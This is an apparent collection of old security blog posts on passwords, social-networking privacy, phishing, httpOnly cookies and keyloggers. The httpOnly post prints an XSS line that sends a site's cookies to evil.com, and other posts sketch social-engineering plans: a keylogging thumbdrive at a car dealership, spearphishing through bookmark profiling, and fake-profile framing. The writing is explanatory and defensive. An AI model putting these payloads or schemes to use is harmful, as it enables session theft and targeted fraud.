Password: Impossible

Aviram had a post on how he thinks password complexity rules are a bad thing. To a degree, I agree with the post - the more complex you make password requirements, the more likely your users are to try to find some way to subvert that requirement (like Aviram did - change your password a bunch of times so that you can go back to the original).

Unfortunately, however, passwords are a core part of application security. Until two-factor systems become convenient for the user and cost-effective for the provider, password complexity rules are a fact of life. Right now, if a user wants to use two factor authentication, they're left carrying (or hooking up a webcam to) several RSA tokens, carrying a card in their wallet, and ensuring their cellphone is always on. Now, I like the idea of using SMS as a two factor verification as the odds of me losing my phone and my wallet (which has all my passwords) at the same time is pretty slim.

So, how I really feel about password requirements is that I do like them. For the time being, if all sites used really low-threshold password requirements, it allows users to reuse passwords. So what if an attacker can't brute force their way into your bank account? Do you use that password on some other system? If that site doesn't enforce a lockout or a change policy, then how likely is it that the attacker is going to be able to find out that you use that other system? Do you use the same identity on multiple systems?

So what is a user to do? For the typical user, I honestly don't know. I use a password safe with about a hundred entries in it. That password safe is on an SD/USB device I keep in my wallet. It's encrypted using AES, and a really long passphrase. I'm down to a very small number of passwords that I actually remember and know anymore. But it's a major inconvenience for anybody who's using passwords all day every day on different systems. To really protect your passwords, your safe needs to have a long passphrase and a short lock timeout. And that doesn't mean that attackers can't get the passwords from the clipboard or submitted forms. For an ordinary user, the first response is probably "why bother?"

Keychain is getting close to the level of system integration that makes it easy for users to use. However, not everything on Mac uses Keychain. 1Password adds quite a bit of functionality to extend the ease of use. But that's still mac only. On Windows, there's KeePass, which has some nice system integration and some additional features (like TAN's) that make it really nice. And since it's open source, there are alternatives for Mac, Linux, and mobile devices.

But I still don't think that gets the reach to all users the way it needs. Remembering to back up my password safe is a pain - I need to back it up at a few locations in the event that I lose my device, and I won't put it on the web where it becomes available for anybody else to download and bang on forever until they unlock it. I would have to protect the download with a really strong password, but then where am I going to keep that password?

And regarding the 90 day change policy - that is a good thing. Once an account is compromised, it could be months before it's actually used because, particularly with financial accounts (credit cards, online bank accounts, etc.), they tend to be sold in lots on the open market. The person who compromised the account is highly unlikely to be the one to ultimately gain from the account compromise - it's just an asset to be sold to the highest bidder.

Social Networking Threat: XPFA

Okay - I didn't find a new kind of vulnerability or identify some brand new threat. We've seen lots and lots of cases like these:

• A teacher fired for material they had on their MySpace page
• People not getting a job because of information they put on their Facebook profile
• People complaining that somebody close to them got their password and changed information on their social networking profile

What surprises me is that actually exploiting the non-existence of a profile isn't more prevalent. The idea that employers are looking at employees' or candidates' social networking profiles is no surprise. And if many people know that it's common, why don't we see more hijacking of a non-existent identity? If a person doesn't have a Facebook profile, but they have enemies, why aren't enemies falsifying profiles?

This has two benefits for attackers. The first is the revenge or get-even factor. If I can falsify somebody's private life and prevent them from getting a job, promotion, or even a date, is that of value to me? Depending on the job, promotion, or date at stake, the profile stalker could gain financially - think of all the domain squatting that took place in the early to mid 90's. Will we see a similar trend in individuals to protect their "personal brand"? Will we see indie rock bands have to change their band name when a disgruntled ticket buyer makes a fake version of their site on the social networking site du-jour?

The consequences of this to the victimized person are clear. Their name has been slandered by somebody who knew enough information about the victim to make a convincing (yet false) page. They will have to take time to build a new, true identity. They will have to take the time to explain to potential employers that there's a fake out there.

But companies are at risk as well. Companies who use this practice could potentially miss the best candidates, or be relying on false information. They could get rid of the best employees by relying on information they don't know to be real. This is the same story as small town teachers getting fired because parents found liquor bottles in the teacher's trash bin on Tuesday night (whether it was put there by the teacher or not). And I don't think we know for sure there won't be litigation in early termination or whatnot because of falsified social networking information. (Most states are "right to work" states, meaning you can be fired for no reason, so the potential for this is low).

All that being said, a couple of colleagues and I came up with a new name for the vulnerability: Cross-Personality Framing Attacks or XPFA. We'll find out if the name gets any traction.

So how do ordinary users protect themselves? For those who do use social networking sites, I recommend using a different password for that site than any other, and change it frequently. Of course, I recommend this anyway. And limit the visibility of the information on the site. And don't put anything on there you wouldn't want your mom to see.

For those who don't use social networking sites (or the most popular ones), I'm not sure how much protection there really is other than claim your spot early. The problem is that you'd have to keep your profile public and up-to-date with completely benign information in order to get it linked high in search engines. Which is sad - the way to protect yourself from a fake social networking profile is to use social networking?

Perhaps the best solution for users is not to make enemies. And the best solutions for companies is to make sure they know the site is for real before trusting it.

Incidentally, I neither condone nor condemn employers using this practice. I don't necessarily like it, but in general, it is information that people want for the public to be aware of. If I were hiring somebody who had written a book, I would probably at least skim the book before hiring them. Is this that much different?

Web 2.0 for Social Engineering

One of the most frightening things about Web 2.0 is the type and volume of information that people are willing to publish to the general public and are willing to house in one location. While looking at some web 2.0 types of sites, you can begin to aggregate a lot of information about a lot of folks. Sometimes, used in an aggregate of the whole population this can actually be useful. For example:

• 80% of users on social bookmarking sites who link to site x also link to site y.
• Same sort of metrics for podcast subscriptions or RSS/Atom subscriptions.

Now, when isolated to an individual user, however, the information can become somewhat damaging. Suppose as an attacker, I use a social bookmarking site to see who has bookmarks assigned for particular financial institutions. How many of them have webmail providers documented as well? And of those, how many actually use the same username on the social bookmarking site as they do on their webmail?

A few more examples:

• People will put anything on social meeting sites. However, this is often being used as background check material during job interviews. And that's the side that might somehow be able to make some sort of an ethical justification for what they do (think of the small towns where they check teachers' trash for alcoholic beverage containers).
• I'm no client side scripting genius, but for a popular portal site, I wrote a module in under 30 minutes which would enumerate all the other modules on the site, along with your email address, and send them to the hacker site.
• Micro-blogging sites make your whereabouts available to the general public. If an attacker knows you well enough to know you keep it updated, they can plan when to visit your home.
• Old-fashioned social engineering tactics such as dumpster diving are still quite effective. Coupled with internet social engineering, these attacks can be even more damaging.
• There are lots of examples of social meeting websites where an attacker makes a false profile of a victim with lots of incriminating (generally false) information.
• Couple all this with your spending habits on auction sites, photos of what you do on photo sharing sites, to-do lists, personal blogs, chat room transcripts, RSS/Atom subscriptions, etc., and you can really begin to profile a well-connected person.
  

Now, it's easy enough for attackers to steal and forge identity. But how much damage besides that could one really do to somebody they know in person? Or better yet, how much damage could one do as an educational experiment of luring a visitor on a social website to become their friend, then learn all they can about their new friend without directly asking them to give up any information?

How much information are you willing to put out there?

No-Tech Getting Hacked

While Johnny Long's talk about No-Tech Hacking at BlackHat and Defcon 15 was very informative (don't make things too hard on yourself), sometimes carrying around a camera, building trojan horses, or paying cash to a local thrift store for a 2.99 USD cable box is a little more work than you really want to go through. I'd like to introduce you to no-tech getting hacked.

Colleague is very particular about the computing environment at home. The "family computer", nobody runs as root, is frequently re-imaged, has quite a few best practices for keeping it safe, and it does not have any sensitive information. The family knows not to click links from emails, be careful where you visit, the whole nine.

Well, Student (a family member of Colleague) is beginning to apply for colleges. College applications are expensive to fill out (I think it was about 50-75USD at a lot of places last time I looked), and depending on scores or interests, you might get little favorable response from them.

The other night, Colleague got a phone call from University, asking to speak with Student. Student goes on the call, and Colleague goes about some other work. 20 minutes later, Student emerges, full of pride that Student had just completed a college application. Without having to pay for it. For free. Over the phone. Not only that, but the caller ID said local directory assistance. But the college was in a different state. Student didn't ask for a callback number or any way of verifying the recruiter was indeed from University. Whatever information the caller didn't have about Student before, they certainly have now. (I believe Colleague is now in the process of filling out the paperwork for having Student's name changed to Undercover).

Sometimes you have to look for it. Sometimes, it looks for you.

Evil Mashup

Now, neither of these services by themselves are evil, but I was thinking about setting up a new kind of mashup for collecting sensitive information - more like trade secret kind of stuff.

scanR and qipit are service where you use your phone to take a picture of something you need to pass through OCR. You use your phone to send the bits to the provider, who then does OCR on it, then they email you a PDF of the results. They recommend doing this for things like meeting notes on a whiteboard. Doing something like this is every bit as dangerous as putting sensitive business documents on Google Docs - why would you want to do it? Well, services like that depend on people who just assume they're trustworthy. Now, these services may or may not be completely trustworthy and secure from outside attack - but that's not the point.

Combine that with something like reCAPTCHA, and now you've got something really powerful. Use the reCAPTCHA model of displaying two images, the user solves both of them, and they solved OCR for your sensitive data mining operation. Human handwriting is pretty hard for a computer to work out, but a humans can generally work out the meaning of sloppy writers by using context.

Content Restrictions - A Call for Input

RSnake has had several conversations with the Mozilla team on some security features he would like to see, and the one they've latched onto is Content Restrictions. The idea is that a site can tell your browser "I only serve these types of content, don't accept anything else from me" RSnake has asked folks to provide their input on what they'd like to see.

Here's how I'd like to see that pan out:

• The content-type restrictions probably should not go into an XML file, or the browser should have serious restrictions on the XML, such as not expanding entities, etc. If I can't trust the site for some reason, how am I to trust that the XML won't DoS my browser?
• The content-type restrictions should probably come in headers (a la Etag's), not on a file on the root of the site (a-la robots.txt), because the restrictions may be different in different paths of the site - consider a single host that hosts several applications, each of those may return different types of content. This would also give applications the ability to dynamically change those restrictions (unfortunately, if there's header injection or response-splitting, the attack can certainly mangle these responses as well).
  
• If I can tell a browser only to trust me so far, it would be wonderful to be able to extend this even further. For example: don't trust 302's from me that take you out of my domain (WOW!), don't send back any requests to me that wouldn't also send Cookie n. Only POST to me if post parameter n is included, don't ever GET, HEAD, TRACE, to these paths - only POST.

And then this is off the topic, but one feature I'd love to see is for the Yes or OK button to default to doing the right thing. For example, if a site has an expired certificate, if you click Yes, Yes means to do the very bad thing we just told you not to. Anti-phishing says Click Yes to visit this naughty site we've already determined is naughty. If they know it's naughty, they know what it's trying to spoof, so make Yes take you to the real site, not the fake one.

Be sure to send your input to RSnake.

Servlet Filter for httpOnly

Well, zot! It turns out that you can still get at the cookies by XHR's getAllResponseHeaders().

But since it's still not really that harmful to add it, I've thrown together a servlet filter for adding the attribute when addCookie() is called. Except for the httpOnly attribute, this is no safer than the existing addCookie - meaning if you had header injection flaws before, they're still there. Also, I didn't read RFC 2109 really carefully, so this may break version 1 cookies (however, RFC 2109 cookies are still considered experimental, and you wouldn't be using them by accident).

Now, your container probably has control over the session cookies, and those get added after all the filters run, so you'll still need to consult your app server's documentation to see how to get it to set httpOnly on the session cookie (the one cookie that needs it most).

Furthermore, this does not check for cookies being added by addHeader() or setHeader(). Whether you want to add similar checking to those or not is purely up to you.

public class HttpOnlyResponseWrapper extends HttpServletResponseWrapper {
 private static SimpleDateFormat cookieFormat = new SimpleDateFormat("EEE, d MMM yyyy HH:mm:ss zzz");

 public HttpOnlyResponseWrapper(HttpServletResponse res) {
   super(res);
 }

 public void addCookie(Cookie cookie) {
   System.out.println("Adding cookie");
   StringBuffer header = new StringBuffer();
   if ((cookie.getName() != null) && (!cookie.getName().equals(""))) {
     header.append(cookie.getName());
   }
   if (cookie.getValue() != null) {
     // Empty values allowed for deleting cookie
     header.append("=" + cookie.getValue());
   }
  
   if (cookie.getVersion() == 1) {
     header.append(";Version=1");
     if (cookie.getComment() != null) {
       header.append(";Comment=\"" + cookie.getComment() + "\"");
     }
     if (cookie.getMaxAge() > -1) {
       header.append(";Max-Age=" + cookie.getMaxAge());
     }
   } else {
     if (cookie.getMaxAge() > -1) {
       Date now = new Date();
       now.setTime(now.getTime() + (1000L * cookie.getMaxAge()));
       header.append(";Expires=" + HttpOnlyResponseWrapper.cookieFormat.format(now));
     }
   }
  
   if (cookie.getDomain() != null) {
     header.append(";Domain=" + cookie.getDomain());
   }
   if (cookie.getPath() != null) {
     header.append(";Path=" + cookie.getPath());
   }
   if (cookie.getSecure()) {
     header.append(";Secure");
   }
   header.append(";httpOnly");
   addHeader("Set-Cookie", header.toString());
 }
}

public class HttpOnlyFilter implements Filter {
 private FilterConfig config;

 @Override
 public void destroy() {
   this.config = null;
 }

 @Override
 public void doFilter(ServletRequest req, ServletResponse res,
     FilterChain chain) throws IOException, ServletException {
   System.out.println("Got here");
  
   HttpOnlyResponseWrapper hres = new HttpOnlyResponseWrapper((HttpServletResponse)res);
   chain.doFilter(req, hres);
 }

 public FilterConfig getFilterConfig() {
   return this.config;
 }

 @Override
 public void init(FilterConfig config) throws ServletException {
   this.config = config;
 }
}

Firefox adds httpOnly attribute support!

Thanks to Alex for discovering this for you. This is a feature that security people have been waiting for for a long, long time. Only I thought it was going to be much longer before it was available. I'll go over what httpOnly is, why it took so long, and what you should do about it.
Ordinarily, Javascript has access to the cookies that a user sends to a particular website. So you can access those cookies on the page itself from javascript via document.cookie. This is actually rarely necessary, but a handful of sites still use it, so it needs to stay available.
The problem with this is that if a site has a cross-site scripting vulnerability, then an attacker can gather cookies by cross-site scripting. For example, injecting the following script will send the cookies for a site (including session tokens) to evil.com:

document.write("<img src='http://evil.com/foo.png?cookie=" + document.cookie + "'>");

Internet Explorer added support for a cookie attribute in their cookies called httpOnly. By setting the httpOnly flag on cookies, javascript is not allowed direct access to those cookies with the attribute set. This is also why all the TRACE XHR vulnerabilities in IE were such a big deal - TRACE will send the cookies, and the response from TRACE is just text - so javascript has access to the cookies, only they're not cookies in the response - they're just text.
Firefox has been very slow in adding support for this. There was a large discussion about it, and the reason they were slow to add it is because the cookie store would have to be updated to store that information. But there are so many third-party applications that use access to the Firefox cookie store that they couldn't update the format cleanly. Now, that didn't prevent you from being able to use it before - the attribute was just ignored in Firefox.
Now that it's finally available, use it. If you're constructing the Set-cookie headers by hand, you can just add ;httpOnly yourself. If you're not, .NET allows you to set the attribute by configuration, and in some containers can add the attribute to the auto-generated session tokens themselves, or you can use a filter to add it. This will prevent direct access to session cookies in IE and newer versions of Firefox from accessing cookies directly by javascript, which is one of the more serious attacks available by cross-site scripting (clearly not the only one.)

Firefox 3.0a7 URL Highlighting

I had a post on why I think highlighting the host in the URL is a bad idea, then RSnake had an additional problem with it.
Here's a screenshot of why I think this is a bad idea:

The screenshot is from one of the full-disclosure URL's that actually redraws the content. As you can see, the host is in dark here, so we know exactly who is rendering the content, but the content can be whatever the attacker wants it to be.

I'm sure another argument against it would be that users simply don't pay attention to the URL bar. However, I think that's a bogus idea - just because not all people use the security features doesn't mean they shouldn't exist. But in this case, I think the host highlighting is actually a step backwards - if it were a really good phishing attack, the URL bar would actually highlight the name of the victim site while what's on the page itself is completely in the control of the hacker.

This is Why Our Job is Hard

A colleague sent me this.

From Business Week's July 9 Issue in the Annual Retirement Guide:

HOW CLOSELY WILL THE ADVISER monitor your plan? Through the Internet, 401(k) investors can keep an eye on their account daily if they so choose. Your adviser should be watching regularly, too, and sending you alerts if you need to rebalance or make other changes. The adviser can best stay informed if you hand over the password to your account or, at the very least, forward your monthly statements. In most cases, advisers do not actually make the trades, but rather notify you, then follow up to be sure you've pulled the trigger.

Nice. I've got a better recommendation. If your financial adviser needs your passwords to advise, advise them to take a hike. Because somehow I doubt that anybody has advised them to use something safer than a sticky note to store your credentials. In fact, they probably keep that stuff on a spreadsheet. And if they're a really good adviser, they put it on their mobile phone, too.

It doesn't matter how much you trust your financial adviser not to steal your money. It matters how much you trust everybody who your financial adviser comes into contact with.

No wonder it feels like an uphill battle.

Firefox 3 Screen Mockups - One fix is no fix

One of the potential new features of Firefox 3 is that the location bar will be substantially changed. One of the changes possibly on the plate is to gray out all of the location bar except for the domain + tld of the content. I have two problems with this:

1) If mysite.com has an XSS vulnerability, attackers, rather than sending the user to another site, will typically use mysite.com itself to render the new page they want. So the result would look something like:
http://www.mygoodsite.com/redirect.foo?url=[maliciousscript]
See the image at http://people.mozilla.com/~faaborg/files/20070602-firefox3UIFeatures/locationBar.jpg
And it would look like I was visiting goodsite.com. Now, their reasoning for doing it was sound - sometimes when you visit a malicious site, they use visual cues in the location bar to make you think you're not at the malicious site.
2) The location bar doesn't tell you where all the content is coming from.

Beef up your browser against phishing attempts

Or then again, don't click links in emails or trust links on blogs.

It's really sad when those who have at least a modicum of technical savvy, who write blogs to those who generally don't, tell those who don't the very wrong thing to do. I'm not saying anti-phishing tools are inherently bad, but depending on them is.

A Sad Story

A few weeks ago, I was helping a friend shop for a used car. When my friend started asking questions about how to pay, they said they preferred a cashier's check, but if it was on the weekend and you couldn't get one, they would take a personal check if they could verify that your account had the funds to cover the check. The remainder of the conversation went something like this:

Me: So how do you verify?
Salesman: Oh - we can just verify it online?
Me: Wow! What service do you use to verify it? [I was shocked such a service might exist.]
Salesman: Oh - there's no service - you verify it for us.
Me: So how do you handle that?
Salesman: We just ask you to sign into your bank account and show us the balance.

At this point, I'm already shocked, but then it gets worse:

Me: So how many people refuse to do that for you? I mean, people turn you down on that offer, right?
Salesman: As long as I've worked here, I don't remember it happening once.

So, to buy a car on the weekend or after 3pm, I'm supposed to log in to my bank account from a public computer with at least one complete stranger watching over my shoulder, and probably with cameras all over the place?

There were a couple of attack vectors from this:

• If the computer they want you to do this from is a "shared" computer - i.e., one somewhere central - not the salesperson's computer, walk in pretending to want to buy a car. At home, you set up your fictitious bank account and mention to the salesperson that they require uber-security - so you have to plug in your thumbdrive as another verification factor (or you're uber-paranoid and don't know your own password and put it on a password safe - they evidently don't know that the uber-paranoid wouldn't put their password safe on an untrusted computer anyhow, so it'd fly). Thumbdrive has the keylogger, and you just have it phone home. Since this machine is the only one used for verifying account balances, you'd get a pretty good frequency - particularly on weekends.
• If you're asked to sign in from the salesperson's computer, you just find out the email address policy - how do they construct their addresses. Get as many business cards as you can while you're there, call numerous times getting a different employee name each time you call, divide it up - do you need service? Or to buy a car? Or just general information? You'll probably get a different name each time, assuming the place is big enough. Then email every address you got, include your trojan there. Any place that asks customers to sign onto their bank account on a public computer probably would never know you installed a trojan.

And then, (I alluded to it earlier) - what is their criteria for trusting the value? Do they check the URL? Or do they just look over your shoulder? Could I make up my own bank and host it at home? Or would they believe me if I printed off my account balance and brought it in?

Using Evil for Purposes of Good?

I understand this is a really, really limited use, and that something really needs to be done about the problem. I'm not advocating keeping it around because I found an uber-limited use for it.

The other day I saw something that really annoyed me, that could actually go away with the CSS History Hack.

My colleagues and I use del.icio.us to send bookmarks to each other because we can subscribe to RSS feeds of those in Firefox. If you label a link with for:<<whomever>>, the link will show up under Links For Me, and you can subscribe with an RSS feed.

Unfortunately, when you actually visit the page, they can't tell when you've visited the page or not, so it shows up in a "new" listing at the top, regardless of how "new" it really is to you.

If del.icio.us used the CSS History Hack, they could go through the list they're going to show you and remove the "new" links so you don't have to remember by name something you visited months ago.

But then again, an easier fix would be to have the links in the RSS feed go through del.icio.us first so that they can record on their side that you've seen the site. This is a more elegant solution, too, because you might not always visit shared links from the same machine.

Web 2.0 As a Society Anti-Pattern

Political scientists will kill me for over-simplifying it, but Social Contract Theory is almost universally accepted as at least to some degree true. Regardless of whether you think people popped up in individual vacuums and formed societies later, were created in societies, or evolved from already social animals, it's pretty universally agreed that today that we live in societies with governments with the understanding that we give up a few of our freedoms in order to protect many of our freedoms. Some of these freedoms are really, really basic, so this is independent of most types of government - i.e., you give up your ability to kill others ungoverned in order to protect your ability to live.

If you made it this far without commenting that we live in governments because some really strong people managed to manipulate the remainder, congratulations....

When I refer to Web 2.0, I don't really mean so much the technological aspects of it (AJAX, tagging, etc.), but more of the social aspects - sharing "anonymously", everybody owns the content, not a single entity, blogging really personal information, etc.

The interesting irony of the social aspects of Web 2.0 is that it seems to be the inverse of normal Social Contract Theory. Users give up many of their rights in order to protect a few. If you take a handful of examples such as social bookmarking, online journaling, and social exchange sites like MySpace, here's what people (knowingly or unknowingly) generally give up:

• A pretty high degree of privacy
• Varying degrees of security
• Some degree of anonymity
• A small degree of personal safety (giving up personal information and inherently trusting others leaves people open to situations they might not ordinarily put themselves into)

But I'm not yet convinced what people hope to get out of giving those things up. Maybe it's some amount of convenience (social bookmarking sites can be better search engines, maybe), or maybe some amount of hubris (can I reveal something really personal making my MySpace page uber-popular?), or possibly this is all an extension of the anonymity that Web 1.0 provided. People who were ashamed to socialize in reality began to do so in chat rooms and forums and stuff. There was some degree of anonymity, and a lot less shame there (they'll never know I'm ugly by the way I type, right?) But what has happened as a result of that is that online journal-ers (I count this distinct from professional blogging) give out really personal information to a whole lot more people than they would without the web.

A colleague says that most of the rights people give up now are more a result of ignorance than it is a willing belaying of rights in order to gain some other. I suppose maybe he's right, but it just seems so odd to me to give out really personal information, even under a pen-name, in the interest of .... something ....

Am I wrong? Am I reading far too much into a lot of the social sites? I don't follow them, so I'm really not "in the know" on their value.

Profiling via Social Sites

I know they probably weren't the first, but Firefox is probably the most popular browser to support "Live Bookmarks" - an RSS feed as a bookmark. And coupled with bookmarking sites (social and otherwise), you've got a portable bookmark list. I don't have to keep a thumbdrive with my bookmarks anymore, I just point my browser to a feed and I'm set.

In the past, I didn't use bookmarks at all. It was easier (generally) to remember the right search terms or URL's. And in order to use my bookmarks on multiple machines, I had to copy them around. Before Live Bookmarks, using a bookmark site wasn't all that advantageous, because to get to all my sites, I still had to make two visits - first to the bookmark site, then to the site I really wanted to go to.

But now, things like Google Bookmarks, ma.gnolia, and del.icio.us allow you to bookmark, then get an RSS feed of those bookmarks, and coupled with a Live Bookmarks type feature, you're always up-to-date.

The downside of this is that if you make your links public (I'm assuming del.icio.us is still most popular - in which case, you have to deliberately make them private), that people can begin to profile you. How is this dangerous?

• A little searching on del.icio.us will show you people who bookmark login pages you're interested in
• You get the user names of those people
• You can see what other login pages they've got bookmarked
• Any of those an email site? You might be able to guess that they use the same login on their email as on the social bookmarking site
• Spearphishing accomplished. Low return rate (you won't get many combinations of a known creditor/email provider), high hit rate (of those you find with the same combination, a pretty high volume of those will be hits).

With blogging sites, it doesn't take too many posts to figure out what services people are "married to" Those who are on Blogger have a pretty high likelihood of using other Google services. People who blog on Yahoo might get email and bookmarks from Yahoo. If you can determine the geographic region for a person (watch the timestamps on their blog postings or when their emails hit mailing lists), you can limit other things like their financial institution.

All this being said, you can bet the bad guys are working on ways of using API's or botnets to warehouse as much of this data as possible. (Manual searching on del.iciou.us takes a long time, but it can be automated and distributed for warehousing and later analysis).

So how do you protect yourself?

• If your blog is your "diary", make it private and limit to whom it's shared.
• If you feel you must have a bookmark to your really sensitive stuff online, make it private, or use a private bookmarking site.
• Don't know your own passwords. Use a password safe like keepass (or keepassx for *nix or mac), or Keychain on Macosx that will generate a really hard password and associate it to a URL.
• Don't use the same login name for all your services.
• Come up with a good handle that's not related to your real name, don't include your birth year in it, and make sure your email alias on big email services isn't the same.

From a hacking standpoint, this is prolly the lamest academic post I've done. But to be honest, as I started trying to do some of this engineering myself, I just felt "dirty" (see Jeremiah Grossman's October 2006 survey question on testing for XSS on public sites). So I didn't spend a great deal of time digging.

Annoying Gmail Flaw

Go to GMail. Look in your inbox. You get any of those newsletters with images in them? By default the images don't show. But as soon as you select "Print" the images show in the print preview. That's annoying.

Now, that might not seem like a big deal. But there's no reason why an image couldn't uniquely identify you. Or maybe the image is linked off another site, and executes an XSRF. And Print is between "Forward" and "Add so-and-so to Contacts". What if I meant to forward to a spam filtering service and fat-moused.

Sorry, Google. I've complained through the proper channels before, but no response yet.

I know, small, but still annoying to me. I don't want images displayed unless I explicitly ask to have them displayed.

Infosec Frustration

I was reading a trade mag (I know - you should all slap me just for that) and just got really really discouraged at the picture of information security right now. I understand it's a trade mag, and trade mags are "free" so they have to be paid for somehow. And the way they're paid for is advertising. And I know that there are different forms of advertising. But this was still bad. So please understand the bias of this post is just from reading one rotten mag.

It seems that the solution to information security woes in all sizes of enterprises is to buy more products. We need to test the ability of our VPN's and IPS's to stand up to massive amounts of traffic while properly dealing with rotten traffic. We need more management systems to manage our antivirus definitions. We need threat modeling software to model our threats. We need BCP software to help us develop our BCP. And we need training and additional resources to manage those things.

I understand that much of this is useful. When it comes to buying something off the shelf or baking your own, often it makes more sense to buy something off the shelf and get the support that comes with it. And many of these products are completely legitimate.

My heartburn with the picture today is that we seem to be relying on products instead of professionals. What hits most closely to home for me is that we're quite prepared to pay mega-bucks for an application firewall, including the cost of terminating SSL early or having umpteen gillion deployments of the app firewalls so we can terminate SSL late; but we're not that interested in educating our developers to just write better code. For users, we're prepared to install personal firewalls, antivirus, anti-spyware, anti-popup, anti-phishing, but we're not prepared to ignore emails with words like "enlarge" or "great rates" in the subject, or practice safe habits like never ever clicking a link in an email, and we're certainly not willing to give up pr0n, gambling, or war3z.

I'm beginning to come around to the rest of the industry's point of view that user education is a lost cause. A common phrase in our profession is that "if you make a product more idiot-proof, they'll just make a better idiot." On the other hand, things like the PDF UXSS scare are a lot less scary if our users use the internet with a bit of prudence. And in large enterprises we can protect our internal users and (more importantly) our customers by taking some time and writing better software.

Please believe me - I know there are other non-advertising funded infosec mags out there. And those mags seem to have the thinkers. I just had to vent that information security "professionals" are quickly falling into the same trap that developers fell into 8-10 years ago - listen to the vendor and buy this one product, all that ails you will be cured.

Google to Rule the World?

None of the information I'm giving in here should be new news. And the title of the post should be no shock. But for several weeks, I've been piecing together what Google might be up to.

First, all the events:

• Google is buying up (has bought up) a bunch of dark fiber. (See a CNET article on it. There are plenty of others.)
• Google is backing the Linux BIOS project. (See the Google blog post on it. And again, plenty of others.)
• They've bought up 520 acres near Charleston, SC. (See here. There are others.)
• They have all the application makings of their own entire platform. Mail client, news reader, word processor, spreadsheet, graphics, mapping, etc.
• They have a really, really, really good grid algorithm. I don't know the number of devices Google search runs on, but my understanding is that they've got thousands of cheapo PC's that do the actual search work.

What started all this was that several weeks ago, I decided I almost don't need the internet anymore. If I could use Gmail and Google Reader, what else do I need? I keep in touch with those who know me by email and IM, both of which Google provides, and I keep in touch with those who don't know me by RSS.

So what a co-worker and I decided Google was up to was a cheap piece of hardware (yes, another web kiosk, WebTV, sort of thing). It would be very inexpensive because you won't own the hardware. You'll be hooked up to "googlenet", not the internet. This will be great for families because they've got what's known to be "safe". You don't own the hardware, because when you're not using the hardware, it becomes another node in the Google Grid - so it's performing search queries. And Gmail can continue to provide "unlimited" storage, because they'll have thousands and thousands of these pieces of hardware distributed all over the country (world?).

So in short, you get:

• Access to "googlenet" - a really fast, really safe internet. No pr0n, no war3z, no g4mbling.
• A box that hooks up to your TV.
• Lots of apps that are constantly being updated.
• All of this for really cheap because it's mostly funded by Google Ads.

And Google gets:

• Lots more devices in their grid for performing search.
• Lots more distributed disk space for providing back to their users.
• A really compelling alternative to the internet.
• Lots more really, really, really focused advertising dollars.
• World domination?
  

The thing is, I say this as if it's a bad thing. But for those with families, if you can get all the benefits of the internet without all its inherent dangers, isn't that a good thing?

Stopping Password Theft By Keyloggers - You Can't

RSnake had a link to an article on fooling keyloggers. RSnake had a couple of problems with it, but there's one that seems to have escaped everybody - if an attacker has enough access to your machine to install a keylogger, they can do more than just install a keylogger.

With most of the 'sploit kits I've looked at, the bots didn't only send keystrokes, they sent the window to which it was applied - so if the caret moves widgets, you get a notification before the keystrokes. In the lesser of these, only the window name is recorded, but the ability is there to record caret focus changes.

Also, if an attacker can get a keylogger working, they can certainly install browser plugins to record form information prior to the form being posted. The simplest (but probably least effective) means is to install a local MITM proxy and set the browser's proxy to that. However, that would require breaking SSL.

So long story short, if an attacker has enough access to your machine to install a keylogger, the keylogger is the least of your concerns. If I have that kind of access to your machine, I don't want the keys you pressed, I want the data you're sending and receiving.